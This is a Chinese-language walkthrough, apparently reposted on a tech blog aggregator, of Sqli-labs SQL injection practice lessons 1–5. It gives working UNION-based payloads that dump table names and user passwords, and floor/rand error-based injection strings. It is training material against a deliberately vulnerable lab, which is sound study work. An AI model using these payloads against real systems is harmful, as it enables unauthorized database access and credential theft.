| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> Sqli-labs 靶机注入训练(1-5) -> 正文阅读 |
|
[大数据]Sqli-labs 靶机注入训练(1-5) |
Sqli-labs靶机注入训练1、sqli-labs 环境搭建什么是sqli-labs?SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景(印度一哥们儿写的) 环境搭建1.下载sqli-labs链接: https://github.com/Audi-1/sqli-labs. 2.phpstudy(PHP+mysql环境搭建)①首先先下载一个PHPstudy②把你的sql-labs.zip解压到这个PHPstudy的根目录底下这里我建了一个文件夹叫sqli 把东西解压在了里面 3、修改 db-creds.inc 里代码进入之后 把你的用户名和密码改成PHPSTUDY中数据库的用户名和密码 ④访问http://sqli/(访问域名,你放在哪个文件夹就叫什么) 来进入sqli-labs的首页进入后点击 常见问题:1.有时候会出现Mysql1045的错误 2.less -11.首先通过输入内容的修改来判断漏洞 正常情况下 我们通过输入?id=1可以正常访问页面 我们可以通过修改输入内容来简单测试该页面接收的数据类型 可以明显看见 我们在将输入内容改为id=1 and 1=1之后 页面没有发生变化 这里我们就可以判断其代码中所接收的数据形式应该为字符串型。 则我们可以总结出第一步: 即通过输入没有语法错误的语句来判断接收的数据的类型 接着我们输入id=1’ 则 则我们可以基本判定其id为闭合的 且与单引号有关 我们接着输入id=1’ --+ (–+的作用是注释掉sql语句后面的内容) 则没有报错 2.判断出漏洞后 我们接下来就要进行代码的构造 我们的主要目的是首先要找到对方的数据库名称 在mysql数据库中 通过select 1,2可以返回1 ,2两个值 通过这个语句我们可以来判断有几个数据可以回显 我们发现没有明显的数据回显。 在mysql中 联合搜索中 如果前面的搜索结果无法显示 那么会只显示后面的查询结果 我们将id=1改为id=-1(一般来说 数据库中不应该存在id=-1的情况) 这里我们看到返回了2,3 我们可以判断是2,3列能够回显。 通过order by我们能够来推测大概有这个表有多少列数据 通过order by语句(在mysql 中 order by 语句可以对查询结果进行排序) 我们知道一共有3行数据。 下一步 我们可以通过select datebase() 语句 来获得当前使用的数据库名称 我们将输入改为 得到了数据库的名称:security 对此 我们可以进一步查询security 下数据库表的名字 ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+ 我们来分析一下这个语句 1.首先 select 1,2的目的 是为了让我们当前显示的值为2,3列(因为只有2,3列会进行回显) 2.在mysql中 group_concat语句可以将所有的table名字给提取出来 3.在所有的Mysql中,一定会有一个数据库名字为 information_schema(mysql特有) 这个数据库保存了其他所有数据库的信息 通过这个数据库 我们可以得到其他数据库的信息 效果如下图所示 我们可以清楚的看到,我们得到了emails referers ugents users四个表 接下来我们就可以对它的用户和密码进行查询 查询用户: ?id=-1’ union select 1,2,group_concat(username) from security.users --+ 查询其对应的密码: ?id=-1’ union select 1,2,group_concat(password) from security.users --+ 这样 就算是注入完成了 总结: 3.less -2步骤: 1.首先依旧是判断漏洞类型 我们输入?id=1 and 1=1 发现并没有报错 再输入?id=1 and 1=2 发现并没有数据显示 初步判断为整形数据的sql漏洞 其余的步骤与Less-1相同 不用加引号即可 4.less -31.进行漏洞类型判断 通过报错内容 我们发现是单引号的闭合出了问题 接下来的步骤与前面一致 5.less -4首先还是找漏洞 我们在输入双引号的时候 发现报错 即可正常登陆 剩余步骤与上面相同 6.less -5Less-5与前面四个靶机内容不同 当我们输入?id=1登入之后 我们会进入这个页面 但无论如何 我们还是先找漏洞 说明是单引号的注入漏洞 当然 这一题并不是完全的盲注 因为没有数据显示 那么我们就不能用联合查询进行报错 所以我们这里采用报错注入 报错注入 报错注入的方法有多种 我们这里采用 floor报错 格式如下: and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 再者其中 payload就是你要搜索的语句 ?id=1’ and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 同理 我们可以通过相同的方法来进行数据库表的查询 输入如下: ?id=1’ and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=“ctftraining” limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 其余同理即可。 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 11:14:14- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |